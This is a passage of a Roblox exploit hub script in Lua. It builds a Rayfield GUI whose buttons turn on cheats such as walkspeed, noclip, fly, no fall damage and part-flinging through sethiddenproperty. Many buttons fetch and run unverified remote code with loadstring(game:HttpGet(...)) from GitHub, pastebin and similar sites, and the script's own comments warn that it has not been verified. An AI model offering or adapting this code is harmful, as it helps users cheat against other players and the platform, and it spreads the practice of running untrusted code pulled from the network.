saved, but if you change the key, they will be unable to use your script GrabKeyFromSite = false, -- If this is true, set Key below to the RAW site you would like Rayfield to get the key from Key = {"Hello"} -- List of keys that will be accepted by the system, can be RAW file links (pastebin, github etc) or simple strings ("hello","key22") } }) local MainTab = Window:CreateTab("🏠Home", nil) -- Title, Image local MainSection = MainTab:CreateSection("Main") Rayfield:Notify({ Title = "Loaded!", Content = "The gui has loaded!", Duration = 6.5, Image = nil, }) local Button = MainTab:CreateButton({ Name = "Infinite Jump", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local InfiniteJumpEnabled = true game:GetService("UserInputService").JumpRequest:connect(function() if InfiniteJumpEnabled then game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end) end, }) local Slider = MainTab:CreateSlider({ Name = "Walkspeed Slider", Range = {0, 300}, Increment = 1, Suffix = "Speed", CurrentValue = 16, Flag = "Slider1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps Callback = function(Value) game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (Value) end, }) local Button = MainTab:CreateButton({ Name = "c00lgui", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lgui-v3rx/main/c00lguiv3rx.lua"))() end, }) local Button = MainTab:CreateButton({ Name = "Shaders", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/randomstring0/pshade-ultimate/refs/heads/main/src/cd.lua'))() end, }) local Button = MainTab:CreateButton({ Name = "fe parkour script r6", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/elibp/fescripts/refs/heads/main/parkour"))() end, }) local Button = MainTab:CreateButton({ Name = "99 nights in a forest script", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/VapeVoidware/VW-Add/main/nightsintheforest.lua", true))() end, }) local Button = MainTab:CreateButton({ Name = "free fe r15 emotes", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Gazer-Ha/Free-emote/refs/heads/main/Delta%20mad%20stuffs"))() end, }) local Button = MainTab:CreateButton({ Name = "op brookhaven script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/main/Brook%20Haven%20Gui'))() end, }) local Button = MainTab:CreateButton({ Name = "backflip and frontflip script (z for frontflip andd x for backflip)", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] wait(5) --[[ Info ]]-- local ver = "2.00" local scriptname = "feFlip" --[[ Keybinds ]]-- local FrontflipKey = Enum.KeyCode.Z local BackflipKey = Enum.KeyCode.X local AirjumpKey = Enum.KeyCode.C --[[ Dependencies ]]-- local ca = game:GetService("ContextActionService") local zeezy = game:GetService("Players").LocalPlayer local h = 0.0174533 local antigrav --[[ Functions ]]-- function zeezyFrontflip(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character.Humanoid:ChangeState("Jumping") wait() zeezy.Character.Humanoid.Sit = true for i = 1,360 do delay(i/720,function() zeezy.Character.Humanoid.Sit = true zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(-h,0,0) end) end wait(0.55) zeezy.Character.Humanoid.Sit = false end end function zeezyBackflip(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character.Humanoid:ChangeState("Jumping") wait() zeezy.Character.Humanoid.Sit = true for i = 1,360 do delay(i/720,function() zeezy.Character.Humanoid.Sit = true zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(h,0,0) end) end wait(0.55) zeezy.Character.Humanoid.Sit = false end end function zeezyAirjump(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Seated") wait() zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end --[[ Binds ]]-- ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey) ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey) ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey) --[[ Load Message ]]-- print(scriptname .. " " .. ver .. " loaded successfully") print("made by Zeezy#7203") local notifSound = Instance.new("Sound",workspace) notifSound.PlaybackSpeed = 1.5 notifSound.Volume = 0.15 notifSound.SoundId = "rbxassetid://170765130" notifSound.PlayOnRemove = true notifSound:Destroy() game.StarterGui:SetCore("SendNotification", {Title = "feFlip", Text = "feFlip loaded successfully!", Icon = "rbxassetid://505845268", Duration = 5, Button1 = "Okay"}) end, }) local Button = MainTab:CreateButton({ Name = "fe fake wallhop script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/ScpGuest666/Random-Roblox-script/refs/heads/main/Roblox%20WallHop%20V3%20script'))() end, }) local Button = MainTab:CreateButton({ Name = "egor script", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Egor-Fe-Gui-50318"))() end, }) local Button = MainTab:CreateButton({ Name = "zero gravity", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Zero-Gravity-28484"))() end, }) local Button = MainTab:CreateButton({ Name = "lalol hub (backdoor scaner)", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script"))() end, }) local Button = MainTab:CreateButton({ Name = "super ring script", Callback = function() local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local SoundService = game:GetService("SoundService") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer -- Sound Effects local function playSound(soundId) local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://" .. soundId sound.Parent = SoundService sound:Play() sound.Ended:Connect(function() sound:Destroy() end) end -- Play initial sound playSound("2865227271") -- GUI Creation local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SuperRingPartsGUI" ScreenGui.ResetOnSpawn = false ScreenGui.Parent = LocalPlayer:WaitForChild("PlayerGui") local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 300, 0, 500) MainFrame.Position = UDim2.new(0.5, -150, 0.5, -250) MainFrame.BorderSizePixel = 0 MainFrame.Parent = ScreenGui -- Make the GUI round local UICorner = Instance.new("UICorner") UICorner.CornerRadius = UDim.new(0, 20) UICorner.Parent = MainFrame local Title = Instance.new("TextLabel") Title.Size = UDim2.new(1, 0, 0, 40) Title.Position = UDim2.new(0, 0, 0, 0) Title.Text = "Super Ring Parts V6 by lukas" Title.TextColor3 = Color3.fromRGB(0, 0, 0) Title.BackgroundColor3 = Color3.fromRGB(0, 204, 204) Title.Font = Enum.Font.Fondamento Title.TextSize = 22 Title.Parent = MainFrame -- Round the title local TitleCorner = Instance.new("UICorner") TitleCorner.CornerRadius = UDim.new(0, 20) TitleCorner.Parent = Title local ToggleButton = Instance.new("TextButton") ToggleButton.Size = UDim2.new(0.8, 0, 0, 40) ToggleButton.Position = UDim2.new(0.1, 0, 0.1, 0) ToggleButton.Text = "Ring Off" ToggleButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0) ToggleButton.TextColor3 = Color3.fromRGB(0, 0, 0) ToggleButton.Font = Enum.Font.Fondamento ToggleButton.TextSize = 18 ToggleButton.Parent = MainFrame -- Round the toggle button local ToggleCorner = Instance.new("UICorner") ToggleCorner.CornerRadius = UDim.new(0, 10) ToggleCorner.Parent = ToggleButton -- Configuration table local config = { radius = 50, height = 100, rotationSpeed = 10, attractionStrength = 1000, } -- Save and load functions local function saveConfig() local configStr = HttpService:JSONEncode(config) writefile("SuperRingPartsConfig.txt", configStr) end local function loadConfig() if isfile("SuperRingPartsConfig.txt") then local configStr = readfile("SuperRingPartsConfig.txt") config = HttpService:JSONDecode(configStr) end end loadConfig() -- Function to create control buttons and textboxes local function createControl(name, positionY, color, labelText, defaultValue, callback) local DecreaseButton = Instance.new("TextButton") DecreaseButton.Size = UDim2.new(0.2, 0, 0, 40) DecreaseButton.Position = UDim2.new(0.1, 0, positionY, 0) DecreaseButton.Text = "-" DecreaseButton.BackgroundColor3 = color DecreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0) DecreaseButton.Font = Enum.Font.Fondamento DecreaseButton.TextSize = 18 DecreaseButton.Parent = MainFrame local IncreaseButton = Instance.new("TextButton") IncreaseButton.Size = UDim2.new(0.2, 0, 0, 40) IncreaseButton.Position = UDim2.new(0.7, 0, positionY, 0) IncreaseButton.Text = "+" IncreaseButton.BackgroundColor3 = color IncreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0) IncreaseButton.Font = Enum.Font.Fondamento IncreaseButton.TextSize = 18 IncreaseButton.Parent = MainFrame local Display = Instance.new("TextLabel") Display.Size = UDim2.new(0.4, 0, 0, 40) Display.Position = UDim2.new(0.3, 0, positionY, 0) Display.Text = labelText .. ": " .. defaultValue Display.BackgroundColor3 = Color3.fromRGB(255, 153, 51) Display.TextColor3 = Color3.fromRGB(0, 0, 0) Display.Font = Enum.Font.Fondamento Display.TextSize = 18 Display.Parent = MainFrame -- Add TextBox for input local TextBox = Instance.new("TextBox") TextBox.Size = UDim2.new(0.8, 0, 0, 35) TextBox.Position = UDim2.new(0.1, 0, positionY + 0.1, 0) TextBox.PlaceholderText = "Enter " .. labelText TextBox.BackgroundColor3 = Color3.fromRGB(0, 0, 255) TextBox.TextColor3 = Color3.fromRGB(0, 0, 0) TextBox.Font = Enum.Font.Fondamento TextBox.TextSize = 18 TextBox.Parent = MainFrame local TextBoxCorner = Instance.new("UICorner") TextBoxCorner.CornerRadius = UDim.new(0, 10) TextBoxCorner.Parent = TextBox DecreaseButton.MouseButton1Click:Connect(function() local value = tonumber(Display.Text:match("%d+")) value = math.max(0, value - 10) Display.Text = labelText .. ": " .. value callback(value) playSound("12221967") saveConfig() end) IncreaseButton.MouseButton1Click:Connect(function() local value = tonumber(Display.Text:match("%d+")) value = math.min(10000, value + 10) Display.Text = labelText .. ": " .. value callback(value) playSound("12221967") saveConfig() end) TextBox.FocusLost:Connect(function(enterPressed) if enterPressed then local newValue = tonumber(TextBox.Text) if newValue then newValue = math.clamp(newValue, 0, 10000) Display.Text = labelText .. ": " .. newValue TextBox.Text = "" callback(newValue) playSound("12221967") saveConfig() else TextBox.Text = "" end end end) end createControl("Radius", 0.2, Color3.fromRGB(153, 153, 0), "Radius", config.radius, function(value) config.radius = value saveConfig() end) createControl("Height", 0.4, Color3.fromRGB(153, 0, 153), "Height", config.height, function(value) config.height = value saveConfig() end) createControl("RotationSpeed", 0.6, Color3.fromRGB(0, 153, 153), "Rotation Speed", config.rotationSpeed, function(value) config.rotationSpeed = value saveConfig() end) createControl("AttractionStrength", 0.8, Color3.fromRGB(153, 0, 0), "Attraction Strength", config.attractionStrength, function(value) config.attractionStrength = value saveConfig() end) -- Add minimize button local MinimizeButton = Instance.new("TextButton") MinimizeButton.Size = UDim2.new(0, 30, 0, 30) MinimizeButton.Position = UDim2.new(1, -35, 0, 5) MinimizeButton.Text = "-" MinimizeButton.BackgroundColor3 = Color3.fromRGB(255, 255, 0) MinimizeButton.TextColor3 = Color3.fromRGB(0, 0, 0) MinimizeButton.Font = Enum.Font.Fondamento MinimizeButton.TextSize = 15 MinimizeButton.Parent = MainFrame -- Round the minimize button local MinimizeCorner = Instance.new("UICorner") MinimizeCorner.CornerRadius = UDim.new(0, 15) MinimizeCorner.Parent = MinimizeButton -- Minimize functionality local minimized = false MinimizeButton.MouseButton1Click:Connect(function() minimized = not minimized if minimized then MainFrame:TweenSize(UDim2.new(0, 300, 0, 40), "Out", "Quad", 0.3, true) MinimizeButton.Text = "+" for _, child in pairs(MainFrame:GetChildren()) do if child:IsA("GuiObject") and child ~= Title and child ~= MinimizeButton then child.Visible = false end end else MainFrame:TweenSize(UDim2.new(0, 300, 0, 500), "Out", "Quad", 0.3, true) MinimizeButton.Text = "-" for _, child in pairs(MainFrame:GetChildren()) do if child:IsA("GuiObject") then child.Visible = true end end end playSound("12221967") end) -- Make GUI draggable local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart MainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = MainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) MainFrame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) -- Ring Parts Claim local Workspace = game:GetService("Workspace") local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() local humanoidRootPart = character:WaitForChild("HumanoidRootPart") local Folder = Instance.new("Folder", Workspace) local Part = Instance.new("Part", Folder) local Attachment1 = Instance.new("Attachment", Part) Part.Anchored = true Part.CanCollide = false Part.Transparency = 1 if not getgenv().Network then getgenv().Network = { BaseParts = {}, Velocity = Vector3.new(14.46262424, 14.46262424, 14.46262424) } Network.RetainPart = function(Part) if typeof(Part) == "Instance" and Part:IsA("BasePart") and Part:IsDescendantOf(Workspace) then table.insert(Network.BaseParts, Part) Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) Part.CanCollide = false end end local function EnablePartControl() LocalPlayer.ReplicationFocus = Workspace RunService.Heartbeat:Connect(function() sethiddenproperty(LocalPlayer, "SimulationRadius", math.huge) for _, Part in pairs(Network.BaseParts) do if Part:IsDescendantOf(Workspace) then Part.Velocity = Network.Velocity end end end) end EnablePartControl() end local function ForcePart(v) if v:IsA("Part") and not v.Anchored and not v.Parent:FindFirstChild("Humanoid") and not v.Parent:FindFirstChild("Head") and v.Name ~= "Handle" then for _, x in next, v:GetChildren() do if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then x:Destroy() end end if v:FindFirstChild("Attachment") then v:FindFirstChild("Attachment"):Destroy() end if v:FindFirstChild("AlignPosition") then v:FindFirstChild("AlignPosition"):Destroy() end if v:FindFirstChild("Torque") then v:FindFirstChild("Torque"):Destroy() end v.CanCollide = false local Torque = Instance.new("Torque", v) Torque.Torque = Vector3.new(100000, 100000, 100000) local AlignPosition = Instance.new("AlignPosition", v) local Attachment2 = Instance.new("Attachment", v) Torque.Attachment0 = Attachment2 AlignPosition.MaxForce = 9999999999999999999999999999999 AlignPosition.MaxVelocity = math.huge AlignPosition.Responsiveness = 200 AlignPosition.Attachment0 = Attachment2 AlignPosition.Attachment1 = Attachment1 end end -- Edits local ringPartsEnabled = false local function RetainPart(Part) if Part:IsA("BasePart") and not Part.Anchored and Part:IsDescendantOf(workspace) then if Part.Parent == LocalPlayer.Character or Part:IsDescendantOf(LocalPlayer.Character) then return false end Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) Part.CanCollide = false return true end return false end local parts = {} local function addPart(part) if RetainPart(part) then if not table.find(parts, part) then table.insert(parts, part) end end end local function removePart(part) local index = table.find(parts, part) if index then table.remove(parts, index) end end for _, part in pairs(workspace:GetDescendants()) do addPart(part) end workspace.DescendantAdded:Connect(addPart) workspace.DescendantRemoving:Connect(removePart) RunService.Heartbeat:Connect(function() if not ringPartsEnabled then return end local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if humanoidRootPart then local tornadoCenter = humanoidRootPart.Position for _, part in pairs(parts) do if part.Parent and not part.Anchored then local pos = part.Position local distance = (Vector3.new(pos.X, tornadoCenter.Y, pos.Z) - tornadoCenter).Magnitude local angle = math.atan2(pos.Z - tornadoCenter.Z, pos.X - tornadoCenter.X) local newAngle = angle + math.rad(config.rotationSpeed) local targetPos = Vector3.new( tornadoCenter.X + math.cos(newAngle) * math.min(config.radius, distance), tornadoCenter.Y + (config.height * (math.abs(math.sin((pos.Y - tornadoCenter.Y) / config.height)))), tornadoCenter.Z + math.sin(newAngle) * math.min(config.radius, distance) ) local directionToTarget = (targetPos - part.Position).unit part.Velocity = directionToTarget * config.attractionStrength end end end end) -- Button functionality ToggleButton.MouseButton1Click:Connect(function() ringPartsEnabled = not ringPartsEnabled ToggleButton.Text = ringPartsEnabled and "Tornado On" or "Tornado Off" ToggleButton.BackgroundColor3 = ringPartsEnabled and Color3.fromRGB(50, 205, 50) or Color3.fromRGB(160, 82, 45) playSound("12221967") end) -- Get player thumbnail local userId = Players:GetUserIdFromNameAsync("Robloxlukasgames") local thumbType = Enum.ThumbnailType.HeadShot local thumbSize = Enum.ThumbnailSize.Size420x420 local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize) StarterGui:SetCore("SendNotification", { Title = "Hey", Text = "Enjoy the Script!", Icon = content, Duration = 5 }) StarterGui:SetCore("SendNotification", { Title = "TIPS", Text = "Click Textbox To edit Any of them", Icon = content, Duration = 5 }) StarterGui:SetCore("SendNotification", { Title = "Credits", Text = "On scriptblox!", Icon = content, Duration = 5 }) -- Rainbow Background Effect local hue = 0 RunService.Heartbeat:Connect(function() hue = (hue + 0.01) % 1 MainFrame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) end) -- Rainbow TextLabel local textHue = 0 RunService.Heartbeat:Connect(function() textHue = (textHue + 0.01) % 1 Title.TextColor3 = Color3.fromHSV(textHue, 1, 1) end) -- fly gui local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Fly gui" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,255) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(1,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Fly Gui" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/YSL3xKYU'))() end) -- no fall damage local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "no fall damage" TextButton1.BackgroundColor3 = Color3.fromRGB(255,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.9,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "No fall Damage" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() -- No Fall Damage by Pio (Discord: piomanly or ID: 311397526399877122) -- local runsvc = game:GetService("RunService") local heartbeat = runsvc.Heartbeat local rstepped = runsvc.RenderStepped local lp = game.Players.LocalPlayer local novel = Vector3.zero local function nofalldamage(chr) local root = chr:WaitForChild("HumanoidRootPart") if root then local con con = heartbeat:Connect(function() if not root.Parent then con:Disconnect() end local oldvel = root.AssemblyLinearVelocity root.AssemblyLinearVelocity = novel rstepped:Wait() root.AssemblyLinearVelocity = oldvel end) end end nofalldamage(lp.Character) lp.CharacterAdded:Connect(nofalldamage) end) -- noclip local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "noclip" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.8,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Noclip" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() local Noclip = nil local Clip = nil function noclip() Clip = false local function Nocl() if Clip == false and game.Players.LocalPlayer.Character ~= nil then for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v:IsA('BasePart') and v.CanCollide and v.Name ~= floatName then v.CanCollide = false end end end wait(0.21) -- basic optimization end Noclip = game:GetService('RunService').Stepped:Connect(Nocl) end function clip() if Noclip then Noclip:Disconnect() end Clip = true end noclip() -- to toggle noclip() and clip() end) -- Inf jump local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Inf jump" TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.7,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Inf jump" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() local InfiniteJumpEnabled = true game:GetService("UserInputService").JumpRequest:connect(function() if InfiniteJumpEnabled then game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end) end) -- Inf yield local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Inf yield" TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,255) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.6,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Inf yield" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))() end) -- nameless admin local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "nameless admin" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.5,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "NAMELESS" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Nameless-Admin-FE-11243"))() end) -- fps local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "FPS" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.4,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "FPS" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/ySHJdZpb",true))() end) end, }) local Button = MainTab:CreateButton({ Name = "mm2 hub", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Murder-Mystery-2-Vynixu-MM2-6344"))() end, }) local Button = MainTab:CreateButton({ Name = "infinite yield", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))() end, }) local Button = MainTab:CreateButton({ Name = "dandys world hub", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Dandy's-World-ALPHA-G0bbyD0llan-DW-Reupload-34146"))() end, }) local Button = MainTab:CreateButton({ Name = "telekinesis v5", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Fe-Telekinesis-V5-21542"))() end, }) local Button = MainTab:CreateButton({ Name = "ak47 script r6", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/sinret/rbxscript.com-scripts-reuploads-/main/ak47", true))() end, }) local Button = MainTab:CreateButton({ Name = "fe polaria script", Callback = function() loadstring(game:HttpGet("https://pastefy.app/JmaD2ivk/raw"))() end, }) local Button = MainTab:CreateButton({ Name = "invincile fly r6", Callback = function() local savedSpeed = 50 local function gui() local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local HRP = character:WaitForChild("HumanoidRootPart") local Camera = workspace.CurrentCamera local baseSpeed = savedSpeed local flySpeed = baseSpeed local flying = false local forwardHold = 0 local inputFlags = { forward = false, back = false, left = false, right = false, up = false, down = false } local bodyVelocity = Instance.new("BodyVelocity") bodyVelocity.MaxForce = Vector3.new(1e5, 1e5, 1e5) local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) local screenGui = Instance.new("ScreenGui") screenGui.Name = "FlyScreenGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local toggleButton = Instance.new("TextButton") toggleButton.Name = "ToggleFlyButton" toggleButton.Text = "Fly OFF" toggleButton.Size = UDim2.new(0, 100, 0, 50) toggleButton.Position = UDim2.new(1, -220, 0, 10) toggleButton.BackgroundColor3 = Color3.fromRGB(40, 40, 40) toggleButton.TextColor3 = Color3.fromRGB(255, 255, 255) toggleButton.Font = Enum.Font.GothamBold toggleButton.TextScaled = true toggleButton.BackgroundTransparency = 0.2 toggleButton.Parent = screenGui local speedBox = Instance.new("TextBox") speedBox.Name = "SpeedBox" speedBox.Text = tostring(baseSpeed) speedBox.Size = UDim2.new(0, 100, 0, 50) speedBox.Position = UDim2.new(1, -110, 0, 10) speedBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40) speedBox.TextColor3 = Color3.fromRGB(255, 255, 255) speedBox.Font = Enum.Font.GothamBold speedBox.TextScaled = true speedBox.BackgroundTransparency = 0.2 speedBox.Parent = screenGui local function newAnim(id) local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://" .. id return anim end local animations = { forward = newAnim(90872539), up = newAnim(90872539), right1 = newAnim(136801964), right2 = newAnim(142495255), left1 = newAnim(136801964), left2 = newAnim(142495255), flyLow1 = newAnim(97169019), flyLow2 = newAnim(282574440), flyFast = newAnim(282574440), back1 = newAnim(136801964), back2 = newAnim(106772613), back3 = newAnim(42070810), back4 = newAnim(214744412), down = newAnim(233322916), idle1 = newAnim(97171309) } local tracks = {} for name, anim in pairs(animations) do tracks[name] = humanoid:LoadAnimation(anim) end local function stopAll() for _, track in pairs(tracks) do track:Stop() end end local function startFlying() flying = true forwardHold = 0 flySpeed = baseSpeed bodyVelocity.Parent = HRP bodyGyro.Parent = HRP humanoid.PlatformStand = true end local function stopFlying() flying = false bodyVelocity.Parent = nil bodyGyro.Parent = nil humanoid.PlatformStand = false stopAll() end toggleButton.MouseButton1Click:Connect(function() if flying then stopFlying() toggleButton.Text = "Fly OFF" else startFlying() toggleButton.Text = "Fly ON" end end) speedBox.FocusLost:Connect(function() local num = tonumber(speedBox.Text) if num and num > 0 then baseSpeed = num savedSpeed = num if flying then flySpeed = baseSpeed end else speedBox.Text = tostring(baseSpeed) end end) UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = true end if input.KeyCode == Enum.KeyCode.S then inputFlags.back = true end if input.KeyCode == Enum.KeyCode.A then inputFlags.left = true end if input.KeyCode == Enum.KeyCode.D then inputFlags.right = true end if input.KeyCode == Enum.KeyCode.E then inputFlags.up = true end if input.KeyCode == Enum.KeyCode.Q then inputFlags.down = true end end) UserInputService.InputEnded:Connect(function(input) if input.KeyCode == Enum.KeyCode.W then inputFlags.forward = false end if input.KeyCode == Enum.KeyCode.S then inputFlags.back = false end if input.KeyCode == Enum.KeyCode.A then inputFlags.left = false end if input.KeyCode == Enum.KeyCode.D then inputFlags.right = false end if input.KeyCode == Enum.KeyCode.E then inputFlags.up = false end if input.KeyCode == Enum.KeyCode.Q then inputFlags.down = false end end) RunService.RenderStepped:Connect(function(dt) if not flying then return end if not inputFlags.forward then forwardHold = 0 end local dir = Vector3.zero local camCF = Camera.CFrame if inputFlags.forward then dir += camCF.LookVector end if inputFlags.back then dir -= camCF.LookVector end if inputFlags.left then dir -= camCF.RightVector end if inputFlags.right then dir += camCF.RightVector end if inputFlags.up then dir += Vector3.yAxis end if inputFlags.down then dir -= Vector3.yAxis end if dir.Magnitude > 0 then dir = dir.Unit end 